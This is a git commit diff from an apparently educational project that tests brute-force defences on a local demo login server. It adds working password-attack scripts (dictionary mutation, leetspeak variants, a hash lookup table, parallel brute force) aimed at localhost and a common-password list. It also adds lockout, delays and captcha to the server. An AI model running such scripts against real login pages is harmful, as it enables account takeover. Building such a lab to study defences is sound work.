Merge remote-tracking branch 'origin/secure' into secure

This commit is contained in:
karimik
2025-10-22 13:04:37 +02:00
9 changed files with 44375 additions and 66 deletions
+168
View File
@@ -0,0 +1,168 @@
const fs = require('fs');
const path = require('path');
const fetch = global.fetch || require('node-fetch');
const TARGET_URL = 'http://localhost:3000/login';
const DICT_PATH = path.resolve(__dirname, 'dictionary.txt');
const MAX_TRIES = 20000000;
let found = false;
const pLimit = (concurrency) => {
const queue = [];
let active = 0;
const next = () => {
if (queue.length === 0) return;
if (active >= concurrency) return;
active++;
const {fn, resolve} = queue.shift();
fn().then((r) => {
active--;
resolve(r);
next();
}, (e) => {
active--;
resolve(Promise.reject(e));
next();
});
};
return (fn) => new Promise((resolve) => {
queue.push({fn, resolve});
next();
});
};
const USERNAME = process.argv[2];
if (!USERNAME) {
console.error('Usage: node attacker.js <username>');
process.exit(1);
}
function safeMask(s) {
if (!s) return '';
return s.replace(/.(?=.{2})/g, '*');
}
const leetMap = {a: ['4', '@'], e: ['3'], i: ['1', '!'], o: ['0'], s: ['5', '$'], t: ['7']};
function leetVariants(word) {
const res = new Set();
function helper(idx, cur) {
if (idx === word.length) {
res.add(cur);
return;
}
const ch = word[idx];
helper(idx + 1, cur + ch);
const low = ch.toLowerCase();
if (leetMap[low]) {
for (const sub of leetMap[low]) helper(idx + 1, cur + sub);
}
}
helper(0, '');
return Array.from(res);
}
function capsVariants(s) {
return new Set([s, s.toLowerCase(), s.toUpperCase(), s[0].toUpperCase() + s.slice(1)]);
}
function buildBaseWords() {
const words = new Set();
if (fs.existsSync(DICT_PATH)) {
const lines = fs.readFileSync(DICT_PATH, 'utf8').split(/\r?\n/).map(l => l.trim()).filter(Boolean);
lines.forEach(w => words.add(w));
}
return Array.from(words);
}
function expandWithMutations(baseWords) {
const out = new Set();
const commonSuffixes = ['!', '1', '123', '2020', '2021', '2022', '#'];
const specialInserts = ['!', '.', '_', '-', '@'];
for (const w of baseWords) {
for (const v of capsVariants(w)) {
out.add(v);
for (const s of commonSuffixes) out.add(v + s);
for (const l of leetVariants(v)) out.add(l);
out.add(v + '!');
out.add('!' + v);
}
out.add(w + '123');
out.add(w + '2023');
for (const c of specialInserts) out.add(w + c);
}
const arr = Array.from(out);
for (let i = 0; i < Math.min(200, arr.length); i++) {
for (let j = 0; j < Math.min(200, arr.length); j++) {
if (i === j) continue;
out.add(arr[i] + arr[j]);
}
}
return Array.from(out);
}
function* generateAndTest(charset, maxLen) {
for (let len = 1; len <= maxLen; len++) {
const indices = Array(len).fill(0);
while (true) {
yield indices.map(i => charset[i]).join('');
let pos = len - 1;
while (pos >= 0) {
indices[pos]++;
if (indices[pos] < charset.length) break;
indices[pos] = 0;
pos--;
}
if (pos < 0) break;
}
}
}
async function tryCandidate(candidate) {
if (found) return false;
const body = {username: USERNAME, password: candidate};
try {
const resp = await fetch(TARGET_URL, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(body)
});
if (resp.status === 200) {
console.log(`FOUND password for ${USERNAME}: ${candidate}`);
found = true;
return true;
} else {
return false;
}
} catch (err) {
console.error('Network error for candidate', safeMask(candidate), err.message);
return false;
}
}
(async () => {
const base = buildBaseWords();
console.log('Base words from files/personal:', base.slice(0, 20));
let candidates = expandWithMutations(base);
console.log(`Generated ${candidates.length} mutated candidates (capped).`);
const common = ['password', '123456', 'qwerty', 'letmein', 'welcome'];
candidates = candidates.concat(common);
if (candidates.length > MAX_TRIES) candidates = candidates.slice(0, MAX_TRIES);
const limit = pLimit();
for (const c of candidates) {
if (found) break;
await limit(() => tryCandidate(c));
}
if (!found) {
console.log('No match in dictionary/mutation phase.');
const charset = '0123456789abcdefghijklmnopqrstuvwxyz'.split('');
const gen = generateAndTest(charset, 3);
let tries = 0;
for (const candidate of gen) {
if (found) break;
tries++;
if (tries % 1000 === 0) process.stdout.write(`Tried ${tries}\r`);
await limit(() => tryCandidate(candidate));
}
}
if (!found) console.log('Finished test run; password not found (within limits).');
})();
+213
View File
@@ -0,0 +1,213 @@
const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const fetch = global.fetch || require('node-fetch');
const TARGET_URL = 'http://localhost:3000/login';
const RAINBOW_TABLE_PATH = path.resolve(__dirname, 'rainbow_table.json');
let found = false;
const pLimit = (concurrency) => {
const queue = [];
let active = 0;
const next = () => {
if (queue.length === 0) return;
if (active >= concurrency) return;
active++;
const {fn, resolve} = queue.shift();
fn().then((r) => {
active--;
resolve(r);
next();
}, (e) => {
active--;
resolve(Promise.reject(e));
next();
});
};
return (fn) => new Promise((resolve) => {
queue.push({fn, resolve});
next();
});
};
function generateHash(password, algorithm = 'sha256') {
return crypto.createHash(algorithm).update(password).digest('hex');
}
function buildRainbowTable(wordlist, outputPath, algorithm = 'sha256') {
console.log(`Erstelle Rainbow Table mit ${algorithm}...`);
const table = {};
let count = 0;
for (const password of wordlist) {
const hash = generateHash(password, algorithm);
table[hash] = password;
count++;
if (count % 1000 === 0) {
process.stdout.write(`\rGeneriert: ${count} Einträge`);
}
}
console.log(`\n✓ Rainbow Table erstellt: ${count} Einträge`);
fs.writeFileSync(outputPath, JSON.stringify(table, null, 2));
console.log(`✓ Gespeichert: ${outputPath}`);
return table;
}
function loadRainbowTable(filePath) {
if (fs.existsSync(filePath)) {
console.log(`Lade Rainbow Table von ${filePath}...`);
const data = fs.readFileSync(filePath, 'utf8');
const table = JSON.parse(data);
console.log(`✓ Rainbow Table geladen: ${Object.keys(table).length} Einträge`);
return table;
}
return null;
}
async function tryWithRainbowTable(username, rainbowTable) {
console.log('\n=== RAINBOW TABLE ANGRIFF ===');
const passwords = Object.values(rainbowTable);
console.log(`Teste ${passwords.length} Passwörter aus Rainbow Table...`);
const limit = pLimit(10);
let tested = 0;
for (const password of passwords) {
if (found) break;
await limit(() => tryCandidate(password, username));
tested++;
if (tested % 100 === 0) {
process.stdout.write(`\rGetestet: ${tested}/${passwords.length}`);
}
}
console.log(`\nRainbow Table Angriff abgeschlossen: ${tested} Passwörter getestet`);
}
function getInstanceConfig() {
const instanceId = parseInt(process.env.INSTANCE_ID || process.argv[4] || '0');
const totalInstances = parseInt(process.env.TOTAL_INSTANCES || process.argv[5] || '1');
return {instanceId, totalInstances};
}
function* generateBruteForce(charset, maxLen, startIdx = 0, skipCount = 1) {
let currentIdx = 0;
for (let len = 1; len <= maxLen; len++) {
const indices = Array(len).fill(0);
while (true) {
if (currentIdx >= startIdx && (currentIdx - startIdx) % skipCount === 0) {
yield indices.map(i => charset[i]).join('');
}
currentIdx++;
let pos = len - 1;
while (pos >= 0) {
indices[pos]++;
if (indices[pos] < charset.length) break;
indices[pos] = 0;
pos--;
}
if (pos < 0) break;
}
}
}
async function bruteForceAttack(username, charset, maxLen, instanceId, totalInstances) {
console.log('\n=== BRUTE FORCE ANGRIFF ===');
console.log(`Charset: ${charset.join('')}`);
console.log(`Max Länge: ${maxLen}`);
console.log(`Instance: ${instanceId + 1}/${totalInstances}`);
const generator = generateBruteForce(charset, maxLen, instanceId, totalInstances);
const limit = pLimit(10);
let tested = 0;
for (const candidate of generator) {
if (found) break;
await limit(() => tryCandidate(candidate, username));
tested++;
if (tested % 1000 === 0) {
process.stdout.write(`\rBrute-Force Versuche: ${tested}`);
}
}
console.log(`\nBrute Force abgeschlossen: ${tested} Kombinationen getestet`);
}
async function tryCandidate(candidate, username) {
if (found) return false;
const body = {username: username, password: candidate};
try {
const resp = await fetch(TARGET_URL, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(body)
});
if (resp.status === 200) {
console.log(`\n✓✓✓ PASSWORT GEFUNDEN für ${username}: ${candidate}`);
found = true;
return true;
}
return false;
} catch (err) {
console.error(`\nNetzwerkfehler: ${err.message}`);
return false;
}
}
const USERNAME = process.argv[2];
const MODE = process.argv[3] || 'rainbow';
if (!USERNAME) {
console.error('Usage: node attacker.js <username> <mode> [instanceId] [totalInstances]');
console.error('');
console.error('Modes:');
console.error(' rainbow - Rainbow Table Angriff');
console.error(' bruteforce - Brute Force Angriff (parallelisierbar)');
console.error(' create - Erstelle Rainbow Table aus wordlist.txt');
console.error('');
console.error('Beispiele:');
console.error(' node attacker.js admin rainbow');
console.error(' node attacker.js admin bruteforce 0 4 # Instanz 1 von 4');
console.error(' node attacker.js admin create');
process.exit(1);
}
(async () => {
console.log(`\n=== PASSWORD ATTACK TOOL ===`);
console.log(`Target: ${TARGET_URL}`);
console.log(`Username: ${USERNAME}`);
console.log(`Mode: ${MODE}`);
const {instanceId, totalInstances} = getInstanceConfig();
if (MODE === 'create') {
console.log('\n=== RAINBOW TABLE ERSTELLEN ===');
const wordlistPath = path.resolve(__dirname, 'wordlist.txt');
if (!fs.existsSync(wordlistPath)) {
console.error(`Fehler: ${wordlistPath} nicht gefunden!`);
console.error('Erstelle eine wordlist.txt Datei mit Passwörtern (ein Passwort pro Zeile)');
process.exit(1);
}
const wordlist = fs.readFileSync(wordlistPath, 'utf8')
.split(/\r?\n/)
.map(line => line.trim())
.filter(Boolean);
console.log(`Wordlist geladen: ${wordlist.length} Einträge`);
buildRainbowTable(wordlist, RAINBOW_TABLE_PATH);
process.exit(0);
}
if (MODE === 'rainbow') {
let rainbowTable = loadRainbowTable(RAINBOW_TABLE_PATH);
if (!rainbowTable) {
console.error('\nKeine Rainbow Table gefunden!');
console.error('Erstelle zuerst eine Rainbow Table mit: node attacker.js <user> create');
process.exit(1);
}
await tryWithRainbowTable(USERNAME, rainbowTable);
} else if (MODE === 'bruteforce') {
console.log(`Instance: ${instanceId + 1}/${totalInstances}`);
const charset = '0123456789abcdefghijklmnopqrstuvwxyz'.split('');
const maxLen = 6;
await bruteForceAttack(USERNAME, charset, maxLen, instanceId, totalInstances);
} else {
console.error(`Unbekannter Mode: ${MODE}`);
console.error('Verwende: rainbow, bruteforce, oder create');
process.exit(1);
}
console.log('\n=== FERTIG ===');
if (!found) {
console.log('Passwort nicht gefunden.');
}
process.exit(found ? 0 : 1);
})();
+269
View File
@@ -0,0 +1,269 @@
const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const fetch = global.fetch || require('node-fetch');
const TARGET_URL = 'http://localhost:3000/login';
const DICT_PATH = path.resolve(__dirname, 'dictionary.txt');
const RAINBOW_TABLE_PATH = path.resolve(__dirname, 'rainbow_table.json');
const MAX_TRIES = 20000000;
let found = false;
const pLimit = (concurrency) => {
const queue = [];
let active = 0;
const next = () => {
if (queue.length === 0) return;
if (active >= concurrency) return;
active++;
const {fn, resolve} = queue.shift();
fn().then((r) => {
active--;
resolve(r);
next();
}, (e) => {
active--;
resolve(Promise.reject(e));
next();
});
};
return (fn) => new Promise((resolve) => {
queue.push({fn, resolve});
next();
});
};
function generateHash(password, algorithm = 'sha256') {
return crypto.createHash(algorithm).update(password).digest('hex');
}
function buildRainbowTable(wordlist, outputPath, algorithm = 'sha256') {
console.log(`Erstelle Rainbow Table mit ${algorithm}...`);
const table = {};
let count = 0;
for (const password of wordlist) {
const hash = generateHash(password, algorithm);
table[hash] = password;
count++;
if (count % 1000 === 0) {
process.stdout.write(`\rGeneriert: ${count} Einträge`);
}
}
console.log(`\n✓ Rainbow Table erstellt: ${count} Einträge`);
fs.writeFileSync(outputPath, JSON.stringify(table, null, 2));
console.log(`✓ Gespeichert: ${outputPath}`);
return table;
}
function loadRainbowTable(filePath) {
if (fs.existsSync(filePath)) {
console.log(`Lade Rainbow Table von ${filePath}...`);
const data = fs.readFileSync(filePath, 'utf8');
const table = JSON.parse(data);
console.log(`✓ Rainbow Table geladen: ${Object.keys(table).length} Einträge`);
return table;
}
return null;
}
async function tryWithRainbowTable(username, rainbowTable) {
console.log('\n=== RAINBOW TABLE ANGRIFF ===');
const passwords = Object.values(rainbowTable);
const limit = pLimit(10);
for (const password of passwords) {
if (found) break;
await limit(() => tryCandidate(password, username));
}
}
function splitWorkload(candidates, numInstances, instanceId) {
const chunkSize = Math.ceil(candidates.length / numInstances);
const start = instanceId * chunkSize;
const end = Math.min(start + chunkSize, candidates.length);
return candidates.slice(start, end);
}
function getInstanceConfig() {
const instanceId = parseInt(process.env.INSTANCE_ID || process.argv[4] || '0');
const totalInstances = parseInt(process.env.TOTAL_INSTANCES || process.argv[5] || '1');
return {instanceId, totalInstances};
}
const USERNAME = process.argv[2];
const MODE = process.argv[3] || 'normal';
if (!USERNAME) {
console.error('Usage: node attacker.js <username> [mode] [instanceId] [totalInstances]');
console.error('Modes: normal, rainbow, parallel');
console.error('Beispiel parallel: node attacker.js admin parallel 0 4');
process.exit(1);
}
function safeMask(s) {
if (!s) return '';
return s.replace(/.(?=.{2})/g, '*');
}
const leetMap = {a: ['4', '@'], e: ['3'], i: ['1', '!'], o: ['0'], s: ['5', '$'], t: ['7']};
function leetVariants(word) {
const res = new Set();
function helper(idx, cur) {
if (idx === word.length) {
res.add(cur);
return;
}
const ch = word[idx];
helper(idx + 1, cur + ch);
const low = ch.toLowerCase();
if (leetMap[low]) {
for (const sub of leetMap[low]) helper(idx + 1, cur + sub);
}
}
helper(0, '');
return Array.from(res);
}
function capsVariants(s) {
return new Set([s, s.toLowerCase(), s.toUpperCase(), s[0].toUpperCase() + s.slice(1)]);
}
function buildBaseWords() {
const words = new Set();
if (fs.existsSync(DICT_PATH)) {
const lines = fs.readFileSync(DICT_PATH, 'utf8').split(/\r?\n/).map(l => l.trim()).filter(Boolean);
lines.forEach(w => words.add(w));
}
return Array.from(words);
}
function expandWithMutations(baseWords) {
const out = new Set();
const commonSuffixes = ['!', '1', '123', '2020', '2021', '2022', '2023', '2024', '#'];
const specialInserts = ['!', '.', '_', '-', '@'];
for (const w of baseWords) {
for (const v of capsVariants(w)) {
out.add(v);
for (const s of commonSuffixes) out.add(v + s);
for (const l of leetVariants(v)) out.add(l);
out.add(v + '!');
out.add('!' + v);
}
out.add(w + '123');
out.add(w + '2023');
for (const c of specialInserts) out.add(w + c);
}
const arr = Array.from(out);
for (let i = 0; i < Math.min(200, arr.length); i++) {
for (let j = 0; j < Math.min(200, arr.length); j++) {
if (i === j) continue;
out.add(arr[i] + arr[j]);
}
}
return Array.from(out);
}
function* generateAndTest(charset, maxLen, startIdx = 0, skipCount = 1) {
let currentIdx = 0;
for (let len = 1; len <= maxLen; len++) {
const indices = Array(len).fill(0);
while (true) {
if (currentIdx >= startIdx && (currentIdx - startIdx) % skipCount === 0) {
yield indices.map(i => charset[i]).join('');
}
currentIdx++;
let pos = len - 1;
while (pos >= 0) {
indices[pos]++;
if (indices[pos] < charset.length) break;
indices[pos] = 0;
pos--;
}
if (pos < 0) break;
}
}
}
async function tryCandidate(candidate, username = USERNAME) {
if (found) return false;
const body = {username: username, password: candidate};
try {
const resp = await fetch(TARGET_URL, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(body)
});
if (resp.status === 200) {
console.log(`\n✓✓✓ FOUND password for ${username}: ${candidate}`);
found = true;
return true;
} else {
return false;
}
} catch (err) {
console.error('Network error for candidate', safeMask(candidate), err.message);
return false;
}
}
(async () => {
console.log(`\n=== PASSWORD TESTING TOOL ===`);
console.log(`Target: ${TARGET_URL}`);
console.log(`Username: ${USERNAME}`);
console.log(`Mode: ${MODE}`);
const {instanceId, totalInstances} = getInstanceConfig();
if (MODE === 'parallel') {
console.log(`Instance: ${instanceId + 1}/${totalInstances}`);
}
if (MODE === 'rainbow') {
let rainbowTable = loadRainbowTable(RAINBOW_TABLE_PATH);
if (!rainbowTable) {
console.log('Keine Rainbow Table gefunden. Erstelle neue...');
const base = buildBaseWords();
const candidates = expandWithMutations(base);
rainbowTable = buildRainbowTable(candidates, RAINBOW_TABLE_PATH);
}
await tryWithRainbowTable(USERNAME, rainbowTable);
process.exit(found ? 0 : 1);
}
const base = buildBaseWords();
console.log('Base words aus Dictionary:', base.slice(0, 10).join(', '));
let candidates = expandWithMutations(base);
console.log(`Generiert: ${candidates.length} Kandidaten`);
const common = ['password', '123456', 'qwerty', 'letmein', 'welcome', 'admin', 'admin123'];
candidates = candidates.concat(common);
if (MODE === 'parallel' && totalInstances > 1) {
candidates = splitWorkload(candidates, totalInstances, instanceId);
console.log(`Diese Instanz verarbeitet: ${candidates.length} Kandidaten (${instanceId * 100 / totalInstances}% - ${(instanceId + 1) * 100 / totalInstances}%)`);
}
if (candidates.length > MAX_TRIES) candidates = candidates.slice(0, MAX_TRIES);
const limit = pLimit(10);
let tested = 0;
for (const c of candidates) {
if (found) break;
await limit(() => tryCandidate(c));
tested++;
if (tested % 100 === 0) {
process.stdout.write(`\rGetestet: ${tested}/${candidates.length}`);
}
}
if (!found) {
console.log('\n\nKein Match in Dictionary/Mutation-Phase.');
console.log('Starte Brute-Force...');
const charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+-=[]{}|;:,.<>?'.split('');
const gen = generateAndTest(charset, 32, instanceId, totalInstances);
let tries = 0;
for (const candidate of gen) {
if (found) break;
tries++;
if (tries % 1000 === 0) process.stdout.write(`\rBrute-Force: ${tries} versuche`);
await limit(() => tryCandidate(candidate));
}
}
console.log('\n\n=== FERTIG ===');
if (!found) console.log('Passwort nicht gefunden (innerhalb der Limits).');
process.exit(found ? 0 : 1);
})();
+51
View File
@@ -0,0 +1,51 @@
123456
123456789
12345678
password
qwerty123
qwerty1
111111
12345
secret
123123
1234567890
1234567
000000
qwerty
abc123
password1
iloveyou
11111111
dragon
monkey
1234
1q2w3e
123321
sunshine
princess
football
baseball
welcome
admin
login
passw0rd
123qwe
solo
pokemon
shadow
letmein
starwars
qazwsx
trustno1
master
football1
696969
monkey123
lovely
654321
zaq1zaq1
flower
password123
freedom
gerald
test
File diff suppressed because it is too large Load Diff
+2 -1
View File
@@ -1,4 +1,4 @@
{ {
"name": "bruteforce", "name": "bruteforce",
"version": "1.0.0", "version": "1.0.0",
"description": "", "description": "",
@@ -12,6 +12,7 @@
}, },
"private": true, "private": true,
"dependencies": { "dependencies": {
"axios": "^1.12.2",
"bcryptjs": "^3.0.2", "bcryptjs": "^3.0.2",
"body-parser": "^2.2.0", "body-parser": "^2.2.0",
"cors": "^2.8.5", "cors": "^2.8.5",
+116 -28
View File
@@ -1,46 +1,134 @@
const express = require('express'); const express = require('express');
const fs = require('fs'); const fs = require('fs');
const path = require('path');
const app = express(); const app = express();
const port = 3000; const port = 3000;
const axios = require('axios');
const HCAPTCHA_SECRET = '0x0000000000000000000000000000000000000000';
app.use(express.json()); app.use(express.json());
const LOG_FILE = path.join(__dirname, 'login.log');
const users = JSON.parse(fs.readFileSync('TEST_DATA/users.json', 'utf8'));
const LINEAR_DELAY_MS = 1000;
const PROGRESSIVE_DELAYS = [10000, 60000, 300000];
const LOCKOUT_THRESHOLD = 5;
const LOCKOUT_DURATION = 15 * 60 * 1000;
const loginAttempts = {};
const users = JSON.parse(fs.readFileSync('C:/Users/kiana/WebstormProjects/BruteForce/TEST_DATA/users.json', 'utf8')); function logAttempt(username, status, ip, extra = '') {
const timestamp = new Date().toISOString();
// Map für Fehlversuche und Verzögerung pro Benutzer const logLine = `[${timestamp}] [${ip}] [${username}] [${status}] ${extra}\n`;
const loginAttempts = {}; // { username: { count: Number, lastFail: timestamp } } fs.appendFileSync(LOG_FILE, logLine);
const BASE_DELAY = 2000; // 2 Sekunden console.log(logLine.trim());
const MAX_DELAY = 32000; // 32 Sekunden }
app.post('/login', async (req, res) => { app.post('/login', async (req, res) => {
const { username, password } = req.body; const { username, password, captcha } = req.body;
const ip = req.ip || req.connection.remoteAddress;
const user = users.find(u => u.username === username && u.password === password); const user = users.find(u => u.username === username && u.password === password);
const now = Date.now();
if (user) { // Init
// Bei Erfolg: Fehlversuche zurücksetzen if (!loginAttempts[username]) {
if (loginAttempts[username]) { loginAttempts[username] = {
delete loginAttempts[username]; count: 0,
} lockedUntil: null,
return res.json({ ok: true }); lastFail: null,
} else { requiresCaptcha: false
// Fehlversuch zählen und Verzögerung berechnen };
if (!loginAttempts[username]) {
loginAttempts[username] = { count: 1, lastFail: Date.now() };
} else {
loginAttempts[username].count += 1;
loginAttempts[username].lastFail = Date.now();
}
// Exponentielle Verzögerung, maximal MAX_DELAY
const delay = Math.min(BASE_DELAY * Math.pow(2, loginAttempts[username].count - 1), MAX_DELAY);
await new Promise(r => setTimeout(r, delay));
return res.status(401).json({ ok: false, error: `Falscher Benutzername oder Passwort. Wartezeit: ${delay / 1000}s` });
} }
const state = loginAttempts[username];
// Lockout prüfen
if (state.lockedUntil && now < state.lockedUntil) {
const remaining = Math.ceil((state.lockedUntil - now) / 1000);
logAttempt(username, 'LOCKED', ip, `Noch gesperrt: ${remaining}s`);
return res.status(423).json({
ok: false,
error: `Benutzer gesperrt. Bitte in ${remaining}s erneut versuchen.`
});
}
if (state.requiresCaptcha) {
if (!captcha || typeof captcha !== 'string') {
logAttempt(username, 'CAPTCHA_MISSING', ip);
return res.status(403).json({
ok: false,
error: 'Captcha fehlt',
requiresCaptcha: true
});
}
try {
const verify = await axios.post(
'https://hcaptcha.com/siteverify',
new URLSearchParams({
secret: HCAPTCHA_SECRET,
response: captcha,
remoteip: req.ip
})
);
if (!verify.data.success) {
logAttempt(username, 'CAPTCHA_FAIL', ip);
return res.status(403).json({
ok: false,
error: 'Captcha ungültig',
requiresCaptcha: true
});
}
} catch (e) {
console.error('Captcha-Überprüfung fehlgeschlagen:', e.message);
return res.status(500).json({
ok: false,
error: 'Captcha-Fehler',
requiresCaptcha: true
});
}
}
// Erfolg
if (user) {
loginAttempts[username] = undefined;
logAttempt(username, 'SUCCESS', ip);
return res.json({ ok: true, message: 'Login erfolgreich' });
}
// Fehlversuch
state.count++;
state.lastFail = now;
logAttempt(username, 'FAIL', ip, `Fehlversuche: ${state.count}`);
// Lockout nach Schwelle
if (state.count >= LOCKOUT_THRESHOLD) {
state.lockedUntil = now + LOCKOUT_DURATION;
state.count = 0;
logAttempt(username, 'LOCKOUT', ip);
return res.status(423).json({
ok: false,
error: `Zu viele Fehlversuche. Benutzer für 15 Minuten gesperrt.`
});
}
// Captcha aktivieren nach 3 Fehlversuchen
if (state.count >= 3) {
state.requiresCaptcha = true;
}
// Verzögerung anwenden
const delay = PROGRESSIVE_DELAYS[state.count - 1] || LINEAR_DELAY_MS;
await new Promise(r => setTimeout(r, delay));
return res.status(401).json({
ok: false,
error: `Falscher Benutzername oder Passwort. Wartezeit: ${delay / 1000}s`,
requiresCaptcha: state.requiresCaptcha
});
}); });
// Einfaches Frontend für Tests
app.get('/login', (req, res) => { app.get('/login', (req, res) => {
res.sendFile(__dirname + '/index.html'); res.sendFile(__dirname + '/index.html');
}); });
app.listen(port, () => { app.listen(port, () => {
console.log(`läuft http://localhost:${port}/login`); console.log(`Sicherer Login-Server läuft auf http://localhost:${port}/login`);
}); });
+123 -36
View File
@@ -1,62 +1,149 @@
<!doctype html>
<!doctype html>
<html lang="de"> <html lang="de">
<head> <head>
<meta charset="utf-8" /> <meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" /> <meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Login Demo</title> <title>Login</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600&display=swap" rel="stylesheet">
<style> <style>
body{font-family:system-ui,Segoe UI,Roboto,Arial;margin:32px} body {
form{max-width:360px} font-family: 'Inter', sans-serif;
input{display:block;margin:8px 0;padding:8px;width:100%} background: #f4f6f8;
button{padding:8px 12px} display: flex;
.msg{margin-top:12px} align-items: center;
justify-content: center;
min-height: 100vh;
margin: 0;
}
.login-container {
background: white;
padding: 32px;
border-radius: 12px;
box-shadow: 0 8px 24px rgba(0,0,0,0.1);
max-width: 400px;
width: 100%;
}
h1 {
font-size: 24px;
margin-bottom: 24px;
text-align: center;
color: #333;
}
label {
font-weight: 600;
display: block;
margin-bottom: 4px;
color: #444;
}
input {
width: 100%;
padding: 10px;
margin-bottom: 16px;
border: 1px solid #ccc;
border-radius: 8px;
font-size: 14px;
}
button {
width: 100%;
padding: 12px;
background-color: #4F46E5;
color: white;
border: none;
border-radius: 8px;
font-size: 16px;
cursor: pointer;
font-weight: 600;
}
button:hover {
background-color: #4338ca;
}
.msg {
margin-top: 16px;
padding: 12px;
border-radius: 6px;
font-size: 14px;
display: none;
}
.msg.error {
background-color: #fee2e2;
color: #b91c1c;
border: 1px solid #fca5a5;
}
.msg.success {
background-color: #dcfce7;
color: #166534;
border: 1px solid #86efac;
}
#captcha-container {
margin: 16px 0;
display: none;
}
</style> </style>
</head> </head>
<body> <body>
<h1>Login (Demo)</h1> <div class="login-container">
<form id="login"> <h1>Login</h1>
<label>Benutzername <form id="login">
<input id="username" name="username" autocomplete="username" required /> <label for="username">Benutzername</label>
</label> <input id="username" name="username" required />
<label>Passwort <label for="password">Passwort</label>
<input id="password" name="password" type="password" autocomplete="current-password" required /> <input id="password" name="password" type="password" required />
</label> <div id="captcha-container">
<button type="submit">Login</button> <div class="h-captcha" data-sitekey="10000000-ffff-ffff-ffff-000000000001"></div>
</form> </div>
<div class="msg" id="msg"></div> <button type="submit">Einloggen</button>
</form>
<div class="msg" id="msg"></div>
</div>
<script src="https://hcaptcha.com/1/api.js" async defer></script>
<script> <script>
const form = document.getElementById('login'); const form = document.getElementById('login');
const msg = document.getElementById('msg'); const msg = document.getElementById('msg');
const captchaContainer = document.getElementById('captcha-container');
form.addEventListener('submit', async (e) => { form.addEventListener('submit', async (e) => {
e.preventDefault(); e.preventDefault();
msg.textContent = 'Sende...'; msg.style.display = 'none';
const username = document.getElementById('username').value; const username = document.getElementById('username').value;
const password = document.getElementById('password').value; const password = document.getElementById('password').value;
const captcha = hcaptcha.getResponse();
const body = { username, password, captcha };
try { try {
const res = await fetch('/login', { const res = await fetch('/login', {
method: 'POST', method: 'POST',
headers: { 'Content-Type': 'application/json' }, headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username, password }) body: JSON.stringify(body)
}); });
const data = await res.json();
let data; msg.style.display = 'block';
const ct = res.headers.get('content-type') || '';
if (ct.includes('application/json')) {
data = await res.json();
} else {
const text = await res.text();
data = { ok: res.ok, error: text || res.statusText };
}
if (res.ok && data.ok) { if (res.ok && data.ok) {
msg.textContent = 'Erfolgreich authentifiziert!'; msg.textContent = '✅ Erfolgreich eingeloggt!';
msg.className = 'msg success';
hcaptcha.reset();
} else { } else {
msg.textContent = 'Fehler: ' + (data.error || res.statusText); msg.textContent = '❌ ' + (data.error || 'Login fehlgeschlagen');
msg.className = 'msg error';
msg.style.display = 'block';
if (data.requiresCaptcha) {
captchaContainer.style.display = 'block';
hcaptcha.reset();
}
} }
} catch (err) { } catch (err) {
msg.textContent = 'Netzwerkfehler'; msg.textContent = '⚠️ Netzwerkfehler: ' + err.message;
msg.className = 'msg error';
msg.style.display = 'block';
} }
}); });
</script> </script>